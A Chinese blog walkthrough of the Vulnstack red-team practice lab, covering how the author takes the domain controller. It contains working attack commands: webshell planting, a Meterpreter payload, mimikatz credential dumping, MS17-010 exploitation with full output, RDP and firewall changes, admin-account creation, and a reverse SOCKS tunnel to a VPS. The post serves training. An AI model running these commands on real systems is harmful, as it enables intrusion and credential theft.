当前位置: 首页 > news >正文

ATTCK实战系列-红队评估(一)

from ATT&CK实战系列-红队评估(一)

环境搭建

下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

将三个虚拟机启动起来

除了windows 7那个主机,其他都只设置成仅主机模式

windows 7添加两个网卡,一个是仅主机,一个是NAT

image-20230225101653967

然后在windows7上开启phpstudy,报错就重启

渗透流程

目标是拿下域控

外网渗透

在主页发现了后台密码的泄露

image-20230225102605429

进入后台后,在修改模板的地方写一句话木马

image-20230225102636607

测试一下这个马是否在主页触发

image-20230225103252540

然后使用蚁剑连接http://192.168.161.129/yxcms/即可

内网渗透

信息搜集

net user /domain 查看域用户信息

image-20230225103518775

发现存在其他用户,而且有krbtgt,所以猜测存在kerberos

net group "Domain Controllers" /domain 查找域控制器

image-20230225110128890

ping OWA.god.org 定位域控ip

image-20230225112409531

得到域控ip为192.168.52.138

 net group "domain admins" /domain  # 查看域管理员的名字net group "domain computers" /domain  # 查看域中的其他主机名

image-20230225112941505

netstat -ano | findstr "3389"  查看是否开启rdp端口

如果没有开启的话,就用以下命令开启

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

然后添加一个用户并加入管理员组

net user v2i 123456@qwe /add
net localgroup administrators v2i /add

image-20230225113414373

然后尝试使用rdp登录win7,在kali上使用remmina

但是发现连接不是,可能是被墙了

上线meterpreter

试试上线meterpreter,这里使用bind_tcp

我不知道为什么reverse_tcp一直上线不了。。。。。cs都能上的

msf6 exploit(multi/handler) > use payload windows/x64/meterpreter_bind_tcp
msf6 payload(windows/x64/meterpreter_bind_tcp) > generate -f exe -o bind.exe
msf6 payload(windows/x64/meterpreter_bind_tcp) > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > 
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_bind_tcp
payload => windows/x64/meterpreter_bind_tcp
msf6 exploit(multi/handler) > set RHOST 192.168.161.129
RHOST => 192.168.161.129
msf6 exploit(multi/handler) > run

将bind.exe通过蚁剑上传到目标主机,执行这个文件,就可以上线meterpreter

因为是administrator用户,所以很容易提权到system

image-20230226104129318

然后使用 run post/windows/manage/enable_rdp来打开rdp服务

image-20230226104856908

使用rdesktop连接【不知道为什么remmina连不了】

image-20230226105149934

然后上传mimikaz.exe

meterpreter > upload /home/kali/Desktop/thm_tmp/mimikatz.exe
[*] uploading  : /home/kali/Desktop/thm_tmp/mimikatz.exe -> mimikatz.exe
[*] Uploaded 1.29 MiB of 1.29 MiB (100.0%): /home/kali/Desktop/thm_tmp/mimikatz.exe -> mimikatz.exe
[*] uploaded   : /home/kali/Desktop/thm_tmp/mimikatz.exe -> mimikatz.exe

使用shell,执行chcp 65001消除乱码

在mimikat.exe执行以下命令,来获得管理员的密码

privilege::debug #获取debug特权
sekurlsa::logonpasswords full #导出用户凭证

image-20230226115148716

得到域管理员明文密码:hongrisex@2023

继续探察内网存活主机,这里使用icmp来进行探察

横向渗透

ipconfig后发现内网ip为192.168.52.143

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="

但是不太理想,所以就上传fscan进行扫描

fscan64.exe -h 192.168.52.0/24[+] 192.168.52.141      MS17-010        (Windows Server 2003 3790)
[*] NetBios: 192.168.52.138  [+]DC owa.god.org                   Windows Server 2008 R2 Datacenter 7601 Service Pack 1 
[+] 192.168.52.138      MS17-010        (Windows Server 2008 R2 Datacenter 7601 Service Pack 1)
[*] WebTitle: http://192.168.52.141:7002 code:200 len:2632   title:Sentinel Keys License Monitor
[*] WebTitle: http://192.168.52.141:8099 code:403 len:1409   title:The page must be viewed over a secure channel
[+] ftp://192.168.52.141:21:anonymous 
[*] WebTitle: http://192.168.52.143     code:200 len:14749  title:phpStudy 探针 2014

发现另外两个内网主机

192.168.52.141,192.168.52.138

192.168.52.141存在ms17-010

因为在内网,所以使用meterpreter设置一下路由转发

meterpreter > run autoroute -s 192.168.52.0/24[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 192.168.52.0/255.255.255.0...
[+] Added route to 192.168.52.0/255.255.255.0 via 192.168.161.129
[*] Use the -p option to list all active routes
meterpreter > run autoroute -p[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]Active Routing Table
====================Subnet             Netmask            Gateway------             -------            -------192.168.52.0       255.255.255.0      Session 1

然后使用auxiliary/admin/smb/ms17_010_command 模块进行命令执行

msf6 auxiliary(admin/smb/ms17_010_command) > set RHOSTS 192.168.52.141
RHOSTS => 192.168.52.141
msf6 auxiliary(admin/smb/ms17_010_command) > set command whoami
command => whoami
msf6 auxiliary(admin/smb/ms17_010_command) > run[*] 192.168.52.141:445    - Target OS: Windows Server 2003 3790
[*] 192.168.52.141:445    - Filling barrel with fish... done
[*] 192.168.52.141:445    - <---------------- | Entering Danger Zone | ---------------->
[*] 192.168.52.141:445    -     [*] Preparing dynamite...
[*] 192.168.52.141:445    -             Trying stick 1 (x64)...Miss
[*] 192.168.52.141:445    -             [*] Trying stick 2 (x86)...Boom!
[*] 192.168.52.141:445    -     [+] Successfully Leaked Transaction!
[*] 192.168.52.141:445    -     [+] Successfully caught Fish-in-a-barrel
[*] 192.168.52.141:445    - <---------------- | Leaving Danger Zone | ---------------->
[*] 192.168.52.141:445    - Reading from CONNECTION struct at: 0x8ccbe370
[*] 192.168.52.141:445    - Built a write-what-where primitive...
[+] 192.168.52.141:445    - Overwrite complete... SYSTEM session obtained!
[+] 192.168.52.141:445    - Service start timed out, OK if running a command or non-service executable...
[*] 192.168.52.141:445    - Getting the command output...
[*] 192.168.52.141:445    - Executing cleanup...
[+] 192.168.52.141:445    - Cleanup was successful
[+] 192.168.52.141:445    - Command completed successfully!
[*] 192.168.52.141:445    - Output for "whoami":nt authority\system[*] 192.168.52.141:445    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

然后可以添加账户,进行连接,但是我觉得没有必要,因为我们已经有了域管理员的密码,所以可以直接远程登录

但是需要开启rdp服务

set command REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

image-20230226133024935

接下来就需要使用代理转发,来登录远程桌面了

代理转发

因为目标机器存在内网,无法直接连接,所以要进行代理转发

这里使用ew

vps上

./ew_for_linux64  -s rcsocks -l 9998 -e 9999

已控内网主机上

ew_for_win_32.exe -s rssocks -d vpsip -e 9999

kali etc/proxychains4.conf

image-20230226135348176

就相当于是vps监听9998,并把流量发送给9999端口,然后已控内网主机接受vps的9999端口的流量

登录192.168.52.141

kali上执行以下命令,查看3389端口是否开启

proxychains4 nmap -p 3389 192.168.52.143 -sT -Pn #socks协议不支持icmp,所以使用-Pn禁用ping

然后登录远程桌面,用上面得到的域管理员密码

proxychains4 rdesktop   192.168.52.141

image-20230226135650315

登录了之后,就可以收集一些命令和添加一个用户

#添加用户并加入本地管理员组
net user <username> <password> /add
net localgroup administrators <username> /add

拿下域控

域控的ip为192.168.52.138

查看他的3389端口是否开启,去用rdp远程登录

image-20230226150945594

可惜是关着的

但是发现445端口是开着的,而且通过fscan扫描是存在ms17-010的

image-20230226151256514

然后使用模块admin/smb/ms17_010_command直接打,发现可以成功,前提是需要设置路由转发

msf6 auxiliary(admin/smb/ms17_010_command) > set RHOSTS 192.168.52.138
RHOSTS => 192.168.52.138
msf6 auxiliary(admin/smb/ms17_010_command) > set command whoami
command => whoami
msf6 auxiliary(admin/smb/ms17_010_command) > run[*] 192.168.52.138:445    - Target OS: Windows Server 2008 R2 Datacenter 7601 Service Pack 1
[*] 192.168.52.138:445    - Built a write-what-where primitive...
[+] 192.168.52.138:445    - Overwrite complete... SYSTEM session obtained!
[+] 192.168.52.138:445    - Service start timed out, OK if running a command or non-service executable...
[*] 192.168.52.138:445    - Getting the command output...
[*] 192.168.52.138:445    - Executing cleanup...
[+] 192.168.52.138:445    - Cleanup was successful
[+] 192.168.52.138:445    - Command completed successfully!
[*] 192.168.52.138:445    - Output for "whoami":nt authority\system[*] 192.168.52.138:445    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

然后就是开启rdp服务

set command REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

image-20230226152243197

并开放防火墙3389端口

set command netsh advfirewall firewall add rule name=\"Remote Desktop\" protocol=TCP dir=in localport=3389 action=allow

然后使用rdp登录,这样要记得登录的是god域

image-20230226153022151

拿下!

总结

这个靶场的流程,就是

  • 外网渗透拿到主机shell
  • 扫描内网存活主机,并查看是否存在历史漏洞
  • 使用内网代理和路由转发来对内网主机进行攻击

应该还有很多思路,这个是比较简单的靶场,继续加油

参考链接

  • 实战 | 记一次基础的内网Vulnstack靶机渗透一

相关文章:

ATTCK实战系列-红队评估(一)

from ATT&CK实战系列-红队评估(一) 环境搭建 下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ 将三个虚拟机启动起来 除了windows 7那个主机&#xff0c;其他都只设置成仅主机模式 windows 7添加两个网卡&#xff0c;一个是仅主机&#xff0c;一个是NAT …...

学python的第二天---差分

一、改变数组元素&#xff08;差分&#xff09;方法一&#xff1a;差分数组map(int,input().split())for b in arr[:n]:print(1 if b else 0,end )方法二&#xff1a;区间合并interval.sort(keylambda x:x[0])二、差分a [0] list(map(int, input().split())) a[n 1:]三、差…...

数据结构入门5-2(数和二叉树)

目录 注&#xff1a; 树的存储结构 1. 双亲表示法 2. 孩子表示法 3. 重要&#xff1a;孩子兄弟法&#xff08;二叉树表示法&#xff09; 森林与二叉树的转换 树和森林的遍历 1. 树的遍历 2. 森林的遍历 哈夫曼树及其应用 基本概念 哈夫曼树的构造算法 1. 构造过程 …...

把Redis当作队列来用,到底合适吗?

文章目录 前言从最简单的开始:List 队列发布/订阅模型:Pub/Sub趋于成熟的队列:Stream1) Stream 是否支持「阻塞式」拉取消息?2) Stream 是否支持发布 / 订阅模式?3) 消息处理时异常,Stream 能否保证消息不丢失,重新消费?4) Stream 数据会写入到 RDB 和 AOF 做持久化吗?…...

Python学习-----项目设计1.0(设计思维和ATM环境搭建)

目录 前言&#xff1a; 项目开发流程 MVC设计模式 什么是MVC设计模式&#xff1f; ATM项目要求 ATM项目的环境搭建 前言&#xff1a; 我个人学习Python大概也有一个月了&#xff0c;在这一个月中我发布了许多关于Python的文章&#xff0c;建立了一个Python学习起步的专栏…...

(九)python网络爬虫(理论+实战)——爬虫实战:指定关键词的百度新闻爬取

系列文章目录 (1)python网络爬虫—快速入门(理论+实战)(一) (2)python网络爬虫—快速入门(理论+实战)(二) (3) python网络爬虫—快速入门(理论+实战)(三) (4)python网络爬虫—快速入门(理论+实战)(四) (5)...

数据分析面试、笔试题汇总+解析(六)

&#xff08;接上篇&#xff09; 面试题&#xff08;MySQL篇&#xff09; 3. 如何提高MySQL的查询速度&#xff1f; 考点解析&#xff1a; 考察面试者对MySQL查询优化的理解 参考答案&#xff1a; &#xff08;因为这个问题如果回答的详细一点可以写上一整篇&#xff0c;…...

vue3+rust个人博客建站日记3-编写主页

内容 绘制了主页的基本布局设置了封装了header栏组件并设置了全局黑夜模式. 选择一个组件库-Naive UI 如果没有设计能力&#xff0c;又想开发出风格统一的前端页面。就一定要选择一个漂亮的组件库。 本次项目选择使用Naive UI&#xff0c;NaivUI库曾被Vue框架作者尤雨溪推荐…...

前端常考react面试题(持续更新中)

react diff 算法 我们知道React会维护两个虚拟DOM&#xff0c;那么是如何来比较&#xff0c;如何来判断&#xff0c;做出最优的解呢&#xff1f;这就用到了diff算法 diff算法的作用 计算出Virtual DOM中真正变化的部分&#xff0c;并只针对该部分进行原生DOM操作&#xff0c;而…...

C++11多线程编程 二:多线程通信,同步,锁

C11多线程编程 一&#xff1a;多线程概述 C11多线程编程 二&#xff1a;多线程通信&#xff0c;同步&#xff0c;锁 C11多线程编程 三&#xff1a;锁资源管理和条件变量 2.1 多线程的状态及其切换流程分析 线程状态说明&#xff1a; 初始化&#xff08;Init&#xff09;&am…...

js——原型和原型链

最近看了很多面试题&#xff0c;看到这个js原型是常考点&#xff0c;于是&#xff0c;我总结了一些该方面的知识点分享给大家&#xff0c;其实原型就是那么一回事&#xff0c;搞明白了就没啥了。结果如下图所示&#xff1a;原型原型又可分为显式原型和隐式原型1.1显式原型显式原…...

[计算机网络(第八版)]第三章 数据链路层(学习笔记)

物理层解决了相邻节点透明传输比特的问题 3.1 数据链路层的几个共同问题 3.1.1 数据链路和帧 链路&#xff1a; 从一个节点到相邻节点的一段物理线路&#xff0c;中间没有任何其他的交换节点 数据链路&#xff1a; 节点间的逻辑通道是把实现控制数据传输的协议的硬件和软件加…...

void在不同场景下的意义

指针一般有三种含义&#xff1a;一是指明数据的位置&#xff0c;体现在指针的值&#xff0c;表示一个地址。二是表示数据类型的大小&#xff0c;例如int指针表示四个字节为一组数据&#xff0c;体现在指针的加减法如何计算。三是表示数据如何被解释&#xff0c;例如float指针和…...

Flume简介

Flume是一个高可用&#xff0c;高可靠&#xff0c;分布式的海量日志采集、聚合和传输的系统&#xff0c;能够有效的收集、聚合、移动大量的日志数据。 优点&#xff1a; 使用Flume采集数据不需要写一行代码&#xff0c;注意是一行代码都不需要&#xff0c;只需要在配置文件中…...

java简单学习

Java 基础语法 一个 Java 程序可以认为是一系列对象的集合&#xff0c;而这些对象通过调用彼此的方法来协同工作。下面简要介绍下类、对象、方法和实例变量的概念。 对象&#xff1a;对象是类的一个实例&#xff0c;有状态和行为。例如&#xff0c;一条狗是一个对象&#xff…...

Vue2 组件基础使用、父子组件之间的传值

一、什么是组件如画红框的这些区域都是由vue里的各种组件组成、提高复用信通常一个应用会以一棵嵌套的组件树的形式来组织&#xff1a;例如&#xff0c;你可能会有页头、侧边栏、内容区等组件&#xff0c;每个组件又包含了其它的像导航链接、博文之类的组件。为了能在模板中使用…...

代码随想录算法训练营 || 贪心算法 122 55 45

Day28122.买卖股票的最佳时机II力扣题目链接给定一个数组&#xff0c;它的第 i 个元素是一支给定股票第 i 天的价格。设计一个算法来计算你所能获取的最大利润。你可以尽可能地完成更多的交易&#xff08;多次买卖一支股票&#xff09;。注意&#xff1a;你不能同时参与多笔交易…...

数据结构基础之栈和队列

目录​​​​​​​ 前言 1、栈 2、队列 2.1、实现队列 2.2、循环队列 前言 上一篇中我们介绍了数据结构基础中的《动态数组》&#xff0c;本篇我们继续来学习两种基本的数据结构——栈和队列。 1、栈 特点&#xff1a;栈也是一种线性结构&#xff0c;相比数组&#xff…...

【Spark分布式内存计算框架——Spark Streaming】3.入门案例(上)官方案例运行

2.1 官方案例运行 运行官方提供案例&#xff0c;使用【$SPARK_HOME/bin/run-example】命令运行&#xff0c;效果如下&#xff1a; 具体步骤如下&#xff1a; 第一步、准备数据源启动端口&#xff0c;准备数据 nc -lk 9999 spark spark hive hadoop spark hive 第二步、运行…...

【博学谷学习记录】超强总结,用心分享 | 架构师 Tomcat源码学习总结

文章目录TomcatTomcat功能需求分析Tomcat两个非常重要的功能&#xff08;身份&#xff09;Tomcat的架构&#xff08;设计实现&#xff09;连接器的设计连接器架构分析核心功能ProtocolHandler 组件1.EndPoint组件EndPoint类结构图2.Processor组件Processor类结构图3.Adapter组件…...

泛型<E>

泛型 案例引出泛型 按要求写出代码&#xff1a; 在ArrayList中添加3个Dog对象&#xff0c;Dog对象有name和age两个属性&#xff0c;且输出name和age public class test1 {public static void main(String[] args) {ArrayList list new ArrayList();list.add(new Dog(10,&quo…...

你对MANIFEST.MF这个文件知道多少?

前言我们在读源码过程中&#xff0c;经常看到每个jar包的METE-INF目录下有个MANIFEST.MF文件&#xff0c;这个文件到底是做什么的呢&#xff1f;在计算机领域中&#xff0c;"manifest" 通常指的是一份清单或概要文件&#xff0c;用于描述一组文件或资源的内容和属性。…...

史上最经典垃圾回收器(CMS,G1)详解、适用场景及特点、使用命令

文章目录垃圾收集器介绍总结各个垃圾收集器之间的关系垃圾收集器使用命令及默认值详解各个垃圾收集器SerialParNewParallel ScavengeSerial OldParallel OldCMS(Concurrent Mark Sweep)G1(Garbage First)适用场景及推荐垃圾收集器介绍总结 垃圾收集器可以帮助我们进行具体的垃…...

Hive查询中的优化

目录前言优化策略推荐使用group by代替distinct去重前言 优化策略 推荐使用group by代替distinct去重 参考&#xff1a; hive中groupby和distinct区别以及性能比较 - cnblogs数据倾斜之count(distinct) - cnblogs 重要结论&#xff1a; 两者都会在map阶段count&#xff0c…...

【开发规范】go项目开发中的[流程,git,代码,目录,微服务仓库管理,静态检查]

文章目录前言一、有哪些规范我们应该遵循二、项目开发流程三、git的代码分支管理1. 分支管理2. commit规范三、go的代码规范四、go项目目录规范五、微服务该采用multi-repo还是mono-repo&#xff1f;1. 引言2. Repos 是什么?3. 什么是 Mono-repo?4. Mono-repo 的劣势5. 什么是…...

数组初始化方式与decimal.InvalidOperation

数组初始化方式与decimal.InvalidOperation调用函数主函数: 数组声明不同带来的报错与否1. 报错decimal.InvalidOperation的数组初始化版本2. 可行的初始化版本输出结果1. 报错时的内容2. 正常的输出计算结果原因&#xff08;是否是数组与列表不同引起&#xff08;&#xff1f;…...

【Opencv-python】之入门安装

目录 一、安装Python 1. 登录官网https://www.python.org/downloads/ 2. 任选一个版本&#xff0c;下载Python 3. 安装Python 记得勾选下图的Add Python 3.6 PATH, 添加python到环境变量的路径&#xff0c;然后选择Install now​编辑 4. 验证是否安装成功 5.退出 二、安装…...

MySQL进阶(二)

目录 1、视图 1、检查选项 2、视图的更新 3、视图作用 2、存储过程 1、语法 2、变量 1、系统变量 2、用户定义变量 3、局部变量 3、if 4、参数 5、case 6、循环 1、while 2、repeat 3、loop 7、游标、条件处理程序 8、存储函数 3、触发器 4、锁 1、全局锁 2、表级锁 …...

热爱所有热爱

想成为这样的一个人&#xff0c;在工作中是一名充满极客精神的Programmer&#xff0c;处理遇到的问题能够游刃有余&#xff0c;能够做出优雅的设计&#xff0c;写出一手优秀的代码&#xff0c;还有着充分的学习能力和业务能力&#xff0c;做一名职场中的佼佼者。 在工作之余还能…...

Redis学习之数据删除与淘汰策略(七)

这里写目录标题一、Redis数据特征二、过期数据三、过期数据删除策略3.1 数据删除策略的目标3.2 定时删除3.3 惰性删除3.4 定期删除3.5 删除策略对比3.6 实际应用四、数据淘汰策略4.1 淘汰策略概述4.2 策略配置一、Redis数据特征 Redis是一种内存级数据库&#xff0c;所有的数据…...

wordpress改主题幻灯片尺寸/最新病毒感染什么症状

进入vi的命令vi filename :打开或新建文件&#xff0c;并将光标置于第一行首vi n filename &#xff1a;打开文件&#xff0c;并将光标置于第n行首vi filename &#xff1a;打开文件&#xff0c;并将光标置于最后一行首vi /pattern filename&#xff1a;打开文件&#xff0c;并…...

protected wordpress login 插件/百度官方营销推广平台

团圆时刻&#xff0c;也能随时充电小蓝给同学们准备了一整套蓝桥杯备考资源&#xff0c;由蓝桥杯组委会出品&#xff0c;分为三部分&#xff1a;历年真题下载真题视频讲解蓝桥杯算法教程完整学下来&#xff0c;不一定能让你拿到国一&#xff0c;但达到「国一的水准」没问题&…...

北碚区网络营销推广公司/搜索引擎优化策略有哪些

该楼层疑似违规已被系统折叠 隐藏此楼查看此楼szdata[ROWS][COLS] 传递给char *szdata[]是数组指针传递给指针数组char *szdata[ROWS]传递给char *szdata[]就正常是因为都是指针数组char szdata[ROWS][COLS]中&#xff0c;szdata也是一个数组指针&#xff0c;char *szdata[ROWS…...

腾讯网页版/天津seo培训

参加软考的同学都会要复习的UML相关的知识点&#xff0c;同时我们在学习和工作中也会用到UML工具。 最新的UML2.0有哪些图呢 用例图&#xff08;use case diagram&#xff09; 小人蛋活动图&#xff08;activity diagram&#xff09;静态结构图顺序图&#xff08;Sequence Di…...

网站建设外包被骗/百度推广怎么开户

jQuery实现倒计时效果-杨秀徐 本实例效果&#xff1a;剩余368天22小时39分57秒结束 代码简单易懂&#xff0c;适用各种倒计时&#xff1b; http://www.cnblogs.com/sntetwt/category/287335.html 12345678910111213141516171819202122232425262728293031323334353637383940414…...

建设银行内部网站/百度搜索排名

AFNetworking和ASIHTTPRequest&#xff0c;大致如下&#xff1a; 使用上&#xff1a;AFN是用上较ASI略简单&#xff0c;但扩展不如ASI;AFN能按普通的block写法直接用闭包的写法&#xff0c;但是ASI不行&#xff0c;这样ASI的代码就比较松散&#xff1b; 效率&#xff1a;AFN基于…...